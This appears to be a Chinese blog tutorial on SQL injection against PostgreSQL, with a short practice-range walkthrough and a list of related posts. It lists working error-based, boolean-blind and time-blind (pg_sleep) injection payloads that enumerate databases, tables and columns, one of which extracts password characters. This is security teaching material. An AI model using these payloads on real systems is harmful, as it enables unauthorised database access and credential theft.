SQL注入漏洞(postgresql注入)
以前孤陋寡闻对postgresql这个数据库少有了解,后来与几个目前在企业实习的朋友聊天才得知他们有的公司项目用的是postgresql,有的公司是正在将原本的数据库迁移到postgresql。可见postgresql比较热(毕竟免费且功能齐全)。
postgresql简称PG,是一种特性非常齐全的自由软件的对象-关系型数据库管理系统。
默认的端口是:5432,默认的用户名是: postgres ,默认的数据库也是:postgres 。
简单使用
连接数据库
psql -U 用户名 -h 主机号 [-d 数据库名,-p 端口号]
查库:\l
选库:\c 库名
查表:\d
查列:\d 表名
\x:查询结果以行或列显示切换
如果连接不上数据库就在,/etc/postgresql/版本数/main/pg_hba.conf中添加IP如下图中最下面的一行格式即可。
postgresql与MySQL的特性也有相通,比如information_schema也是存在的且与MySQL的使用大致相同,不过postgresql查表的限制都是public,啥意思?操作一下就知道了
MySQL查表时,table_schema限制为数据库名,postgresql为public。
postgresql有几个特有的查询关键字
current_catalog / current_database() 与MySQL中的database()作用相同,为当前数据库名
pg_database可查询所有的数据库(列名关键字为datname)
MySQL中的limit 0,1在postgresql只能以limit 1 offset 0格式存在
user / current_user / getpgusername()都可用于查询当前用户名
pg_stat_user_tables为当用户的表单所有信息,可用于查表名(列关键字为relname)
current_schema[()]表示当前模式名
pg_tables 是一个系统表,提供对数据库中每个表的信息的访问,通过对schemaname模式的限制得到表名
另外,postgresql只有--+注释符,像#、;%00都是不可以的。
SQL注入
联合注入就不说了,记住上面几个关键字,MySQL能union注入查询的,postgresql也是一样查询。
报错注入
postgresql的报错注入原理与MSSQL的相同利用强类型语言数据库特性,当类型不一致时将会报错带出敏感数据达到注入的目的。具体用到的函数与MSSQL相同,cast()或者convert()这种强制转换的函数在与一个数比较达到报错目的。(前提是目标网站开启了报错提示)。
查看版本:
1 AND 2=CAST((SELECT version())::text AS NUMERIC)查库:
1 AND 2=CAST((SELECT current_database())::text AS NUMERIC)
1 AND 2=CAST((SELECT datname from pg_database limit 1 offset 0)::text AS NUMERIC)
………………查表:
1 AND 2=CAST((SELECT relname from pg_stat_user_tables limit 1 offset 0)::text AS NUMERIC)
………………查列:
1 AND 2=CAST((select column_name from information_schema.columns where table_name='test' limit 1 offset 0)::text AS NUMERIC)还有一个sqlmap跑出来的payload(仅供参考):
1 AND 7778=CAST((CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (7778=7778) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(112)||CHR(106)||CHR(113)) AS NUMERIC)
这里解释一下这几个函数在这里面的作用:
CAST():强制转换,在这里主要格式为CAST('string' as NUMERIC),即将字符串转换为数字型。
1::text : 这个和上面恰好相反,它的意思是将一个数字型转换为text文本类型
sqlmap中有个case...when...then...else...end 是类似与if的分支条件语句
布尔盲注
利用ascii()、substring()、between(或者用等于号 = 判断)
判断数据库名长度:
1' and (select length(current_database())) between 0 and 14 --+判断数据表的个数:
1' and (select count(*) from pg_stat_user_tables) between 0 and 4 --+判断数据库的名:
1' and (select ascii(substr(current_database(),1,1))) between 0 and 118--+判断表名长度:
1' and (select length(relname) from pg_stat_user_tables limit 1 OFFSET 0) between 0 and 5--+判断表名:
1' and (select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1 OFFSET 0) between 0 and 117--+判断列名:
1' and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name='users' limit 1 OFFSET 0) between 0 and 110 --+……………………
原理啥的应该不用说了,如果不知道建议看前面的MySQL文章循序渐进。
时间盲注
找一个替代MySQL中sleep()或者benchmark()作用的函数-----pg_sleep()。
查库:
1 and (case when(ascii(substr((select datname from pg_database limit 1),1,1))=97) then (select 5 from pg_sleep(5)) else 1 end)查表:
1 and (case when(ascii(substr((select relname from pg_stat_user_tables limit 1 offset 0),1,1))=97) then (select 5 from pg_sleep(5)) else 1 end)查列:
1 and (case when(ascii(substr((select column_name from information_schema.columns where table_name="users" limit 1 offset 0),1,1))=97) then (select 5 from pg_sleep(5)) else 1 end)查字段:
1 and (case when(ascii(substr((select password from users limit 1 offset 0),1,1))=97) then (select 5 from pg_sleep(5)) else 1 end)
堆叠注入
只要一句sql语句有个结束标志,且网站对sql语句的执行条数没有限制,堆叠注入是最简单方便的。
小试牛刀
SQL手工注入漏洞测试(PostgreSQL数据库)
墨者学院靶场的一个postgresql题目,一起巩固一下吧。
初步判断为数字型注入,进而运用 order by 判断列的数量为4,但是出现如下
无反应?不用慌,出现这种情况说明联合注入时类型不统一,所以我们一个一个的测试
经过测试发现四个类型都为字符型,因此就成功了,我们就可以用比较常规的查询做了,查库,
查表,
依次遍历表查到一个类似用户表的名字,进而查列
最后把数据查出来即可
参考:PostgreSQL 12系统表(2)pg_tables_MambaCloud的博客-CSDN博客
PostgreSQL数据库的注入_谢公子的博客-CSDN博客_postgresql注入
postgresql使用(三):收集Postgresql数据库统计信息 - 灰信网(软件开发博客聚合)
Postgresql注入笔记 - 简书
SQL注入漏洞(postgresql注入)相关推荐
- 【愚公系列】2023年05月 网络安全高级班 065.WEB渗透与安全(SQL注入漏洞-手工注入)
文章目录 前言 一.SQL注入漏洞-手工注入 1.错误注入 2.布尔注入 2.1 通过`'or 1=1 --` 注入 2.2 通过`admin'or 1=1 --` 注入 3.联合注入 3.1 查看u ...
- SQL注入漏洞-GET注入
SQL 注入是一种攻击方式,在这种攻击方式中,恶意代码被插入到字符串中,然后将该字符串传递到 SQL Server 的实例以进行分析和执行.任何构成 SQL 语句的过程都应进行注入漏洞检查,因为 SQ ...
- 检测到目标url存在框架注入漏洞_HOST注入攻击剖析
关于网站的渗透测试可能师傅们都有自己一套思路,有个共同点就是目标网站基本属于全静态页面,几乎很少存在动态参数这时意味着客户端无法通过提交参数形式进行测试,理论上也规避掉了许多风险.既然无法从参数层面进 ...
- V5shop漏洞,V5shop 0day,V5shop注入漏洞,v5shop注入攻击
漏洞危害:高危 一.漏洞文件:cart.aspx 搜索关键词:inurl:scoreindex.aspx exp : /cart.aspx?act=buy&id=1 and (Select T ...
- 浅析Java代码审计中的SQL注入漏洞
浅析Java代码审计中的SQL注入漏洞 1.注入漏洞简介 2.SQL注入漏洞简介 3.JDBC拼接不当造成SQL注入 第一关:使用Statement 第二关:使用PrepareStatement 4. ...
- php注入点判断,PHPEMS一处SQL注入漏洞
### 简要描述: PHPEMS一处SQL注入漏洞 ### 详细说明: 8.PHPEMS某处SQL注入漏洞 存在注入漏洞的代码位置是/app/exam/phone.php的exercise()函数中 ...
- Java 过滤器解决URLSQL注入漏洞、跨站漏洞、框架注入漏洞、链接注入漏洞
一. 漏洞描述 1. 检测到目标URL存在SQL注入漏洞 很多WEB应用中都存在SQL注入漏洞.SQL注入是一种攻击者利用代码缺陷进行攻击的方式,可在任何能够影响数据库查询的应用程序参数中利用.例如u ...
- 洞态漏洞检出测试第二期:NoSQL LDAP注入漏洞
测试环境 DongTai-Python-agent 版本号:v1.2.0 支持 Python 框架:Flask Python 3.8 NoSQL 注入漏洞 以 JavaScript 注入为例 Jav ...
- SQL注入简介和注入方法教学
文章目录 SQL注入原理 SQL注入危害 SQL注入判断 SQL注入的分类 按参数类型分类 按数据库返回结果分类 按注入点位置分类 按参数类型分类 数字型 字符型 搜索型 按数据库返回结果分类 回显注 ...
- 文件包含和命令注入漏洞
文件包含和命令注入漏洞 文件包含漏洞 介绍 文件包含漏洞是代码注入的一种.其原理就是注入一段用户能控制的脚本或代码,让服务器端执行,代码注入的典型代表就是文件包含file inclusion.文件包含 ...
最新文章
- C3P0_and_pro.properties配置文档代码
- 互联网协议 — STP 生成树协议
- 网站过度优化该怎样解决?
- 关于养花---感叹一把
- php html标签自定义属性,详解H5的自定义属性data-*
- 天线决定接受频率_你从没思考过的天线定义
- 后端架构高可用可伸缩
- java递归看回文,如何使用正则表达式实现递归回文检查器? [关闭]
- 面试官,你为什么老是问我”闭包“
- 核方法(kernel method)的主要思想
- 17. Element dir 属性
- ubuntu下有没有类似于imagewatch的软件_大家有没有什么好的app推荐下,学习的类似timing小众点的?...
- 现代信号处理——参数估计理论(估计量的性能)
- android sonar 简书,Sonar使用指南
- 七种方法完美解救你爆满的C盘(瘦身+扩容)
- WPF——GridView
- linux 百度网盘 限速,哈哈,我终于找到解除百度网盘账号限速的方法了,可是........
- lenovo G50-80bios设置U盘启动选项及win10永久激活及win10下载
- C++用I love you!打印心形
- isis宣告网络_ISIS是一个分级的链接状态路由协议